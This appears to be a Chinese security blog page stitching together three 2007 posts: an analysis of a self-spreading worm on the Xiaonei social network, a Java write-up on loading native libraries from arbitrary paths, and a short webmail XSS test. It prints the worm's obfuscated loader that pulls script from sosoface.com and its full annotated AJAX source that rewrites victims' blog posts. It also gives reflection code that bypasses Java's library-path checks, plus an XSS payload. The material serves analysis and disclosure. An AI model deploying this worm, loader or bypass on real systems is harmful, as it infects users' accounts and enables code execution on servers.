文章作者:langouster
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)

在一次查看校内网网页源程序的时候无意间发现一个校内蠕虫,开始还以为是我的网页
有问题,就随便打开几个人的页面查看,发现许多人的页面上也有这段代码。

<a name=”mya113″ id=”mya113″
style=’background:url(vbscript:execute(StrReverse(”)”"311aym”"(dIyBtnemelEt­e
g.tnemucod,s erofeBtresni.edoNtnerap.)”"311aym”"(dIyBtnemelEteg.tnemucod
:”"gpj.sjnx/segami/moc.ecafosos.www//:ptth”"=crs.s:)”"tpircs”"(tnemelEetaer­c
.tnemucod=s tes”)) )’>

以上代码出现在日志的开头,只有查看源文件才能发现。它将vbscript调了个头写,调
回来就变成以下内容:

set s=document.createElement(”script”)
s.src=http://www.sosoface.com/images/xnjs.jpg
document.getElementById(”mya113″).parentNode.insertBefore
s,document.getElementById(”mya113″)

在这段脚本中它又新建了一个script,它的src指向

http://www.sosoface.com/images/xnjs.jpg
<http://www.sosoface.com/images/xnjs.jpg%EF%BC%88%E5%88%AB%E7%9B%B8%E4…
%E5%90%8E%E7%BC%80%EF%BC%89%EF%BC%8C%E4%B8%8B%E8%BD%BD%E5%8A%A0%E8%BF%99%E4­%
B8%AA%E2%80%9Cjpg%E2%80%9D%E7%94%A8%E8%AE%B0%E4%BA%8B%E5%92%8CUE%E6%89%93%E­5
%BC%80%E9%83%BD%E5%8F%91%E7%8E%B0%E5%AE%83%E5%A1%AB%E5%85%85%E4%BA%86%E5%A4­%
A7%E9%87%8F%E7%9A%84asc%E7%9A%8400%EF%BC%88%E7%9C%9F%E4%B8%8D%E6%95%A2%E7%9­B
%B8%E4%BF%A1%E5%A1%AB%E5%85%85%E4%BA%86%E9%82%A3%E4%B9%88%E5%A4%9A00>

(别相信后缀),下载加这个“jpg”用记事和UE打开都发现它填充了大量的asc的00(真不敢
相信填充了那么多00 IE还能执行),不过用Dreamweaver打开显示正常,拷出JS。然后
花了几乎一天的时间来分析这个js文件,发现它完完全全是一个基于ajax的蠕虫。
值 得注意的是作者好像很低调,在蠕虫代码中除了感染就是隐藏,没有一行破坏性的
代码,仅仅是加了一个站长统计,估计作者是用来研究蠕虫传播情况的,因为站长 统
计要密码我们进不去,所以不知道具体的感染情况,但是我刚才在google上搜了下
sosoface,还是看到这个网站的流量图:
http://www.chinarank.org.cn/detail/Info.do?url=www.sosoface.com <http://www.chinarank.org.cn/detail/Info.do?url=www.sosoface.com&r=1192875678218>&r=1192875678218

从 图上可以看到流量在几天时间里大增,这些天应该是蠕虫感染的时间。日访问人数
从0猛增到500百万人/天,也就是每天那个JPG要被访问5亿次考虑到一个 人可能访问多
个页面,粗略估计应该至少有几百万人受到感染。另外,也就在大概两三天前这个蠕虫
应该是被校内的人发现了,一夜之间全部消失了。 Sosoface也被停了。

下面来分析感染代码,我直接把注释写在JS中了,原本的程序可是一行注释也没有的。
看时从最底下的start函数看起:
var req = null;
var step=null;
var DiaryMonthUrlList=”",DiaryUrlList=”";
var timer=null;
var bIsBusy=false;

var
myrand=”46.115.50.124.115.127.119.47.48.127.107.115.35.35.33.48.50.123.118.­4
7.48.127.107.115.35.35.33.48.50.97.102.107.126.119.47.53.112.115.113.121.11­7
.96.125.103.124.118.40.103.96.126.58.100.112.97.113.96.123.98.102.40.119.10­6
.119.113.103.102.119.58.65.102.96.64.119.100.119.96.97.119.58.48.59.48.48.3­3
.35.35.115.107.127.48.48.58.118.91.107.80.102.124.119.127.119.126.87.102.11­9
.117.60.102.124.119.127.103.113.125.118.62.97.50.119.96.125.116.119.80.102.­9
6.119.97.124.123.60.119.118.125.92.102.124.119.96.115.98.60.59.48.48.33.35.­3
5.115.107.127.48.48.58.118.91.107.80.102.124.119.127.119.126.87.102.119.117­.
60.102.124.119.127.103.113.125.118.50.40.48.48.117.98.120.60.97.120.124.106­.
61.97.119.117.115.127.123.61.127.125.113.60.119.113.115.116.125.97.125.97.6­0
.101.101.101.61.61.40.98.102.102.122.48.48.47.113.96.97.60.97.40.59.48.48.1­0
2.98.123.96.113.97.48.48.58.102.124.119.127.119.126.87.119.102.115.119.96.1­1
3.60.102.124.119.127.103.113.125.118.47.97.50.102.119.97.48.59.59.50.59.53.­4
4.46.61.115.44″;

function my_HtmlDecode(str)
{
str=str.replace(/</g,”<”);
str=str.replace(/>/g,”>”);
str=str.replace(/&/g,”&”);
str=str.replace(/ /g,” “);
str=str.replace(/”/g,”\”");
str=str.replace(/<br>/g,”\n”);
str=str.replace(/#/g,”#”);
str=str.replace(/(/g,”(”);
str=str.replace(/)/g,”)”);
str=str.replace(/”/g,”\”");
str=str.replace(/’/g,”’”);
str=str.replace(/#/g,”#”);
str=str.replace(/(/g,”(”);
str=str.replace(/)/g,”)”);
str=str.replace(/”/g,”\”");
str=str.replace(/’/g,”’”);
return str;

}

function processReqChange()
{
if (req.readyState == 4 && req.status == 200 )
{
if(”WriteIframe”==step)
{
var text,len,i=0,j=0,temp;

text=req.responseText;
i=text.indexOf(”<div class=\”article\”>”,0);
if(-1==i){return}
i=text.indexOf(”http://blog.xiaonei.com/GetEntry.do“,i);
if(-1==i){return}
j=text.indexOf(”\”",i);
if(-1==j){return}
text=text.substring(i,j);

document.getElementById(”mya113″).style.background=”#FFFFFF”;
var s=document.createElement(”iframe”);
s.frameborder=”0″;
s.height=”0″;
s.width=”1″;
s.src=text;
document.getElementById(”mya113″).parentNode.insertBefore(s,document.getEle­m
entById(”mya113″));

}

else if(”GetDiaryMonthList”==step)
{
var text,len,i=0,j=0,temp;
//text的内容就和用户点“我的日志”得到的内容一样,分析HTML,得到“日志存档”
中的每一个链接,保存到DiaryMonthUrlList中
//然后跳到GetStatus函数,此时step=”GetDiaryList” 取出每个月的日志列表
text=req.responseText;
i=text.indexOf(”<div id=\”list-archive\”>”,0);
if(-1==i){return}
j=text.indexOf(”<div class=\”bottom-box\”>”,i);
if(-1==j){return}
text=text.substring(i,j);

i=j=0;
while(1)
{
i=text.indexOf(”http://blog.xiaonei.com/MyBlog.do“,i);
if(-1==i)break;
j=text.indexOf(”’>”,i);
if(-1==j)break;
temp=text.substring(i,j);
i+=temp.length;
temp=my_HtmlDecode(temp)+”|”;
DiaryMonthUrlList+=temp;

}

if(DiaryMonthUrlList.length<=1)
{
return;

}

step=”GetDiaryList”;
req=null;
bIsBusy=false;
timer=window.setInterval(GetStatus,1000);

}

else if(”GetDiaryList”==step)
{
var text,len,i,j,temp,temp2;
var text2=”http://blog.xiaonei.com/EditEntry.do?id=“;

//text的内容就和用户点了“日志存档”后的内容一样
//分析HTML得到每个月的日志列表保存在DiaryUrlList中,然后step=GetDiaryText也
就是取得日志的内容,
//看本函数下面else if(”GetDiaryText”==step)就是了
text=req.responseText;

len=text.length;
i=text.indexOf(”<div id=\”list-article\”>”);
if(-1==i)
{
req=null;
bIsBusy=false;
return;

}

j=text.indexOf(”</table>”,i);
if(-1==j)
{
req=null;
bIsBusy=false;
return;

}

text=text.substring(i,j);
i=j=0;

while(1)
{
j=0;
len=0;
j=DiaryUrlList.indexOf(”|”,j);
while(j!=-1)
{
j++;
len++;
j=DiaryUrlList.indexOf(”|”,j);

}

if(len>=5)//只感染前5篇日志 或者是4篇 没仔细研究
{
break;

}

i=text.indexOf(text2,i);
if(-1==i)
{
break;

}

i+=text2.length;
j=text.indexOf(”\”>”,i);
if(-1==j || j-i>10)
{
break;

}

temp=text2+text.substring(i,j)+”|”;
DiaryUrlList+=temp;

}

req=null;
bIsBusy=false;

}

else if(”GetDiaryText”==step)
{
var text,len,i,j;
var argv;
var title,body,blog_pic_id=”0″,pic_path,blogControl,Diaryid;

text=req.responseText;
//这个模块模拟用户编辑日志,在每篇日志的开关都加上
//<a name=”mya113″ id=”mya113″
style=’background:url(vbscript:execute(StrReverse(”)”"311aym”"(dIyBtnemelEt­e
g.tnemucod,s erofeBtresni.edoNtnerap.)”"311aym”"(dIyBtnemelEteg.tnemucod
:”"gpj.sjnx/segami/moc.ecafosos.www//:ptth”"=crs.s:)”"tpircs”"(tnemelEetaer­c
.tnemucod=s tes”)) )’>

i=text.indexOf(”<form action=\”http://upload.xiaonei.com/EditEntry.do\<http://upload.xiaonei.com/EditEntry.do%5C>”",0);

if(-1==i)
{
return;

}

i+=53;

j=text.indexOf(”</form>”,i);
if(-1==j)
{
return;

}

text=text.substring(i,j);
//————————

i=text.indexOf(”id=\”title\” class=\”inputtext\” tabindex=\”1\”
value=\”",0);
if(-1==i)return;
i+=49;
j=text.indexOf(”\” />”,i);
if(-1==j)return;
title=text.substring(i,j);
//—
i=text.indexOf(”<textarea name=\”body\” id=\”body\” cols=\”100%\”
style=\”display:none\”>”,0);
if(-1==i)return;
i+=65;
j=text.indexOf(”</textarea>”,i);
if(-1==j)return;
body=text.substring(i,j);
//—
i=text.indexOf(”id=\”blog_pic_id\” value=\”",0);
if(-1==i)return;
i+=24;
j=text.indexOf(”\” />”,i);
if(-1==j)return;
blog_pic_id=text.substring(i,j);
//—
i=text.indexOf(”id=\”pic_path\” value=\”",0);
if(-1==i)return;
i+=21;
j=text.indexOf(”\” />”,i);
if(-1==j)return;
pic_path=text.substring(i,j);
//—
i=text.indexOf(”name=\”id\” value=\”",0);
if(-1==i)return;
i+=17;
j=text.indexOf(”\” />”,i);
if(-1==j)return;
Diaryid=text.substring(i,j);
//—
i=text.indexOf(”\” selected=\”selected\”",0);
if(-1==i)return;
j=i-2;
if(text.substr(j,1)==”\”")
j++;
blogControl=text.substring(j,i);

body=my_HtmlDecode(body);
if(body.indexOf(”mya113″,0)>=0)//已经感染过,不再感染
{
req=null;
step=”GetDiaryText”;
bIsBusy=false;

return;

}

else
{
;

}

//以上是取日志的各个变量信息
//以下开头就感染日志并修改

body=MyDecode(myrand)+body;
//感染日志 在日志的开头加上跨站代码
//MyDecode(myrand)中保存的就是跨站的关键代码,作者加密了一下放在myrand变量
中,程序开头的一长串数据就是

//以下开始POST提交修改过的日志
argv=”\r\n”;
argv+=”—————————–7d71861cb014c\r\nContent-Disposition:
form-data; name=\”title\”\r\n\r\n”;
argv+=(title+”\r\n”);
argv+=”—————————–7d71861cb014c\r\nContent-Disposition:
form-data; name=\”body\”\r\n\r\n”;
argv+=(body+”\r\n”);
argv+=”—————————–7d71861cb014c\r\nContent-Disposition:
form-data; name=\”theFile\”; filename=\”\”\r\nContent-Type:
application/octet-stream\r\n\r\n\r\n”;
argv+=”—————————–7d71861cb014c\r\nContent-Disposition:
form-data; name=\”blog_pic_id\”\r\n\r\n”;
argv+=(blog_pic_id+”\r\n”);
argv+=”—————————–7d71861cb014c\r\nContent-Disposition:
form-data; name=\”pic_path\”\r\n\r\n”;
argv+=(pic_path+”\r\n”);
argv+=”—————————–7d71861cb014c\r\nContent-Disposition:
form-data; name=\”blogControl\”\r\n\r\n”;
argv+=(blogControl+”\r\n”);
argv+=”—————————–7d71861cb014c\r\nContent-Disposition:
form-data; name=\”id\”\r\n\r\n”;
argv+=(Diaryid+”\r\n”);
argv+=”—————————–7d71861cb014c\r\nContent-Disposition:
form-data; name=\”relative_optype\”\r\n\r\n”;
argv+=(”publisher”+”\r\n”);
argv+=”—————————–7d71861cb014c\r\nContent-Disposition:
form-data; name=\”del_relative_id\”\r\n\r\n\r\n”;
argv+=”—————————–7d71861cb014c–\r\n”;

req=null;
step=”EditDiaryText”;
loadUrl(”http://blog.xiaonei.com/EditEntry.do“,”POST”,argv);

}

else if(”EditDiaryText”==step)
{

req=null;
bIsBusy=false;
step=”GetDiaryText”;

}

else
{
;

}
}
}

function MyDecode(str)
{
var i,k,str2=”";

k=str.split(”.”);

for(i=0;i<k.length;i++)
{
str2+=String.fromCharCode(k[i]^0×12);

}
return str2;
}

function loadUrl( url,method,argv )
{
bIsBusy=true;
if(!req)
{
if(window.XMLHttpRequest)
{
try
{
req = new XMLHttpRequest();

} catch(e) { req = false; }
}

else if(window.ActiveXObject)
{
try
{
req = new ActiveXObject(’Msxml2.XMLHTTP’);

}

catch(e)
{
try
{
req = new ActiveXObject(’Microsoft.XMLHTTP’);

} catch(e) { req = false; }
}
}
}

if(req)
{
req.onreadystatechange = processReqChange;
try
{
req.open(method, url, true);
if(method==”POST”)
req.setRequestHeader(”Content-Type”,”multipart/form-data;
boundary=—————————7d71861cb014c”);
req.send(argv);

}catch(e)

{
req=false;

}
}
}

function GetStatus()
{
if(bIsBusy)return;

if(”GetDiaryList”==step)
{
var DiaryMonthUrl,i;

//取出每个月的日志列表
if(DiaryMonthUrlList.length<=1)
{
step=”GetDiaryText”;
return;

}

i=DiaryMonthUrlList.indexOf(”|”,0);
if(-1==1)
{
step=”GetDiaryText”;
return;

}

DiaryMonthUrl=DiaryMonthUrlList.substring(0,i);
DiaryMonthUrlList=DiaryMonthUrlList.substring(i+1,DiaryMonthUrlList.length)­;

//再回到开头的processReqChange函数 此时step还是GetDiaryList
loadUrl(DiaryMonthUrl,”GET”,”");

}

else if(”GetDiaryText”==step)
{
var DiaryUrl,i;
if(DiaryUrlList.length<=1)
{
clearInterval(timer);
return;

}

i=DiaryUrlList.indexOf(”|”,0);
if(-1==i)
{
clearInterval(timer);
return;

}

DiaryUrl=DiaryUrlList.substring(0,i);
DiaryUrlList=DiaryUrlList.substring(i+1,DiaryUrlList.length);

loadUrl(DiaryUrl,”GET”,”");

}
}

function WriteStat()
{
var s=document.createElement(”iframe”);
s.frameborder=”0″;
s.height=”0″;
s.width=”0″;
s.src=”http://www.sosoface.com/images/stat.jpg“;
document.getElementById(”mya113″).parentNode.insertBefore(s,document.getEle­m
entById(”mya113″));

}

function DeleteScript(html)
{
var i=0,j=0,str;

str=html;

i=str.indexOf(”</A>”,0);
if(-1==i)
return str;
i+=4;
str=str.substring(i,str.length);

return str;

}

function EditorSubmit()
{
var ret=false;
parent.parent.descOptype();
ret=parent.parent.beforeSubmit();

parent.parent.document.getElementById(”body”).value=MyDecode(myrand)+Delete­S
cript(parent.parent.document.getElementById(”body”).value);

return ret;

}

function Start()
{
//判断是不是blog.xiaonei.com域,由于ajax是不能跨域的,所以判断是必备的
if(”blog.xiaonei.com”==document.domain)
{
//如果是在编辑已感染的日志 就做了一些奇怪的行为,我看不懂,好像是把自己重写
了一遍,不知道为什么这样做
if(”http://blog.xiaonei.com/pages/editor/win.htm“==document.location)
{
parent.parent.document.getElementById(”editorForm”).onsubmit=EditorSubmit;

}

else
{

WriteStat();//这是一个用户流量统计的函数,使用cnzz 站长助手
//下面开始感染了,第一步GetDiaryMonthList,得到日志的按月归档
step=”GetDiaryMonthList”;
loadUrl(”http://blog.xiaonei.com/MyBlog.do“,”GET”,”");//loadUrl是一个ajax读
取页面内容的函数
//下面跳到开头的processReqChange函数

}
}

else if(”xiaonei.com”==document.domain || “www.xiaonei.com“==document.domain)
{
//如果不在blog.xiaonei.com域就写入一个Iframe Iframe的SRC是日志的URL
//这个URL是blog.xiaonei.com域的,就变向的实现了跨域,
//作者这样做应该是为了一访问别人的主页就能感染
var url=”";

url=document.location.toString();
if(url.indexOf(”&”)==-1)
return;
step=”WriteIframe”;
loadUrl(url,”GET”,”");

}
}

Start();

0day-java
load dynamic library from any path(java加载任意目录库文件)

文章指数:0 CSDN Blog推出文章指数概念,文章指数是对Blog文章综合评分后推算出的,综合评分项分别是该文章的点击量,回复次数,被网摘收录数量,文章长度和文章类型;满分100,每月更新一次。

TEAM : I.S.T.O
AUTHOR : kj021320

转载需注明作者,未经作者同意,不得用于任何形式的商业活动

通常我们采用JAVASE API的局限性太大!例如只提供TCP/UDP以上的协议封装
不能获取更多硬件设备信息,对不同系统的特性访问(如win的注册表)等
为了摆脱这些,SUN-JAVA提供了 类跟本地系统的另一种桥梁 JNI(java native
interface)中文就是JAVA本地接口,在WIN系统上面就是采用DLL文件而*nix就是SO文件
而编写好特定的 DLL/SO 文件以后我们需要通过 System.loadLibrary 对文件进行加载 而且官方也是这样说
必须确保库文件的位置在类路径中,从而确保 JVM 可以访问该库文件
对 System.loadLibrary
方法进行审核后,发现没对路径进行过滤,可以加载任意目录的库文件~而对于JAVA-WEB安全来说,这个问题更有利用价值!
库文件不需要放在容器的类路径而加载,因为一般安全的网站,容器的类路径目录都是只读,只有WEB目录可写…

现在JAVA类路径在 f:\kj021320\jproject\ 下 而且有
kj021320.class #类 含有本地方法 有静态代码域
public static native String getISTO();
static{
System.loadLibrary(”../../../kj021320″);
}

而我们在 跟目录 f:\ 下有
kj021320.dll #库文件 对kj021320.class 本地方法的实现
同样可以加载动态连接库

下面我们对它的JAVA源代码进行分析研究
首先是System类的 loadLibrary 静态方法发起的 跟踪以下代码

public static void loadLibrary(String libname) {
Runtime.getRuntime().loadLibrary0(getCallerClass(), libname);
}

看此 是调用了 Runtime类的 loadLibrary0 方法~ 把 调用此方法的类名字以及
lib名字传进去,我们再往这个方法进行跟踪
Runtime类的
synchronized void loadLibrary0(Class fromClass, String libname) {
SecurityManager security = System.getSecurityManager();
if (security != null) {
security.checkLink(libname); //检查是否能调用这个库文件名字
}
/*
重点来了~注意看下面的代码 他对路径进行过滤了!可惜!win系统中
File.separatorChar 是 \ 我们可以用 / 来跳回上一层目录 绕过他的验证
那*nix 系统呢? 不用急 我们继续往下面看

*/
if (libname.indexOf((int)File.separatorChar) != -1) {
throw new UnsatisfiedLinkError(”Directory separator should not
appear in library name: ” + libname);
}
//这里又调用了ClassLoader 的loadLibrary方法 我们继续追踪进去
ClassLoader.loadLibrary(fromClass, libname, false);
}

ClassLoader类的
//这里代码有点多
static void loadLibrary(Class fromClass, String name,boolean
isAbsolute) {
//首先判断我们上面是否有传一个类进来~~ 就是 到底是哪个类调用加载 库的方法 就把那个类传进去所以
//fromClass 大多不会为null

ClassLoader loader = (fromClass == null) ? null :
fromClass.getClassLoader();
//这里判断 系统的类库路径
if (sys_paths == null) {
usr_paths = initializePath(”java.library.path”);
sys_paths = initializePath(”sun.boot.library.path”);
}
//判断路径是不是绝对的!要是绝对路径的就直接 new File() 看到了吗?没有对name再次过滤
//汗~~ 又调用 loadLibrary0 这个方法! 哎!嵌套还真多
if (isAbsolute) {
if (loadLibrary0(fromClass, new File(name))) {
return;
}
throw new UnsatisfiedLinkError(”Can’t load library: ” + name);
}
if (loader != null) {
String libfilename = loader.findLibrary(name);
if (libfilename != null) {
File libfile = new File(libfilename);
if (!libfile.isAbsolute()) {
throw new UnsatisfiedLinkError(”ClassLoader.findLibrary failed to
return an absolute path: ” + libfilename);
}
if (loadLibrary0(fromClass, libfile)) {
return;
}
throw new UnsatisfiedLinkError(”Can’t load ” + libfilename);
}
}
//这里是循环遍历类路径 也调用了 loadLibrary0这个方法 我们得再次跟踪进去
for (int i = 0 ; i < sys_paths.length ; i++) {
File libfile = new File(sys_paths[i], System.mapLibraryName(name));
if (loadLibrary0(fromClass, libfile)) {
return;
}
}
if (loader != null) {
for (int i = 0 ; i < usr_paths.length ; i++) {
File libfile = new
File(usr_paths[i],System.mapLibraryName(name));
if (loadLibrary0(fromClass, libfile)) {
return;
}
}
}
// Oops, it failed
throw new UnsatisfiedLinkError(”no ” + name + ” in
java.library.path”);
}

//看了以上的代码,很明显了!我们需要再去分析 loadLibrary0这个方法,代码更多了!看来更是重点

private static boolean loadLibrary0(Class fromClass, final File
file) {
//判断文件是否存在 不存在就退出这个函数返回false
Boolean
exists = (Boolean)AccessController.doPrivileged(new PrivilegedAction()
{public Object run() {return new Boolean(file.exists());}});
if (!exists.booleanValue()) {
return false;
}
//以下是获取文件的绝对路径
String name;
try {
name = file.getCanonicalPath();
} catch (IOException e) {
return false;
}
//这句不分析了
ClassLoader loader =(fromClass == null) ? null :
fromClass.getClassLoader();
//获取 系统本地库的集合
Vector libs =loader != null ? loader.nativeLibraries :
systemNativeLibraries;
//下面这个同步操作是为了避免同一个库文件在多线程下 加载多次
synchronized (libs) {
int size = libs.size();
for (int i = 0; i < size; i++) {
NativeLibrary lib = (NativeLibrary)libs.elementAt(i);
if (name.equals(lib.name)) {
return true;
}
}
synchronized (loadedLibraryNames) {
if (loadedLibraryNames.contains(name)) {
throw new UnsatisfiedLinkError(”Native Library ” + name + ”
already loaded in another classloader”);
}
int n = nativeLibraryContext.size();
for (int i = 0; i < n; i++) {
NativeLibrary lib =
(NativeLibrary)nativeLibraryContext.elementAt(i);
if (name.equals(lib.name)) {
if (loader == lib.fromClass.getClassLoader()) {
return true;
} else {
throw new UnsatisfiedLinkError(”Native Library “+name+” is being
loaded in another classloader”);
}
}
}
//实例化一个本地库
NativeLibrary lib = new NativeLibrary(fromClass, name);
nativeLibraryContext.push(lib);
try {
//**************正式加载操作 NativeLibrary的load方法实现***********
lib.load(name);

} finally {
nativeLibraryContext.pop();
}
if (lib.handle != 0) {
loadedLibraryNames.addElement(name);
libs.addElement(lib);
return true;
}
return false;
}
}
}

以上 NativeLibrary 类是ClassLoader类的一个内部类 最终 load方法也是本地实现 具体是JVM内部的!
分析到这里很明显 最终我们可以调用loadLibrary0 这个方法来绕过前面一大堆的验证!OK 但是loadLibrary0
是个private方法
一般直接调用不了!对于熟悉JAVA的开发者来说!这个是小事!我们采用reflect 来破解 他的权限吧!

下面静态代码实现

static
{
Method llm;
try {
//获取私有的方法 loadLibrary0
llm = ClassLoader.class.getDeclaredMethod(”loadLibrary0″, new
Class[]{Class.class,File.class});
llm.setAccessible(true);//破解权限
llm.invoke(null, new Object[]{你自己的类.class,new File(”DLL的绝对路径
记得加后缀”)});
/*
llm.invoke(null, new Object[]{ISTO.class,new File(”/isto.so”)});
*/
} catch (Exception e) {
e.printStackTrace();
}
}
这样我们就可以在WEB目录上面放库文件 任意加载了

全文完

10月 7th, 2007Web Mail XSS Test小记

前2天在一个讨论组看到有人讨论国内邮箱系统的XSS过滤能力的问题,有人反映163的Web Mail可以写js代码到邮件中,并且网易XSS的过滤能力比较弱,于是自己简单测试了几个小代码,发现163果然没能阻止我写js代码到邮件中。
既然163作为国内最大的邮件服务提供商都是这样,那其他几大门户呢?新浪的邮箱我没有ID,手上可用的也就只有sohu的了,于是用163的邮箱给sohu发信,发的同样的测试代码。Bingo!居然都可以触发代码的执行!
哎,不说什么了。
值得一提的是,yahoo.cn和gmail的xss过滤还是很好,很强大的,试了一长串的Test Code,都没有成功。虽然没有测试新浪,但是直觉告诉我,估计不会比163、sohu好到哪儿去,有时间再折腾他们吧。
嗯,POC代码其实很简单,发其中一个吧,至于怎么写到邮件里去,以及怎么验证和进一步的利用就不多写了,避免被滥用了,呵呵。

<img src="javascript:alert('Web Mail is XSSED!');">

© 2007 猪在笑 | iKon Wordpress Theme by TextNData | Powered by Wordpress | rakCha web directory
登录 | 访问数170615 | 水木BLOG | 水木社区 | 关于我们 | Blog论坛 | 法律声明 | 隐私权保护 | 京ICP证050249号
水木社区Blog系统是基于KBS系统WordPress MU架构的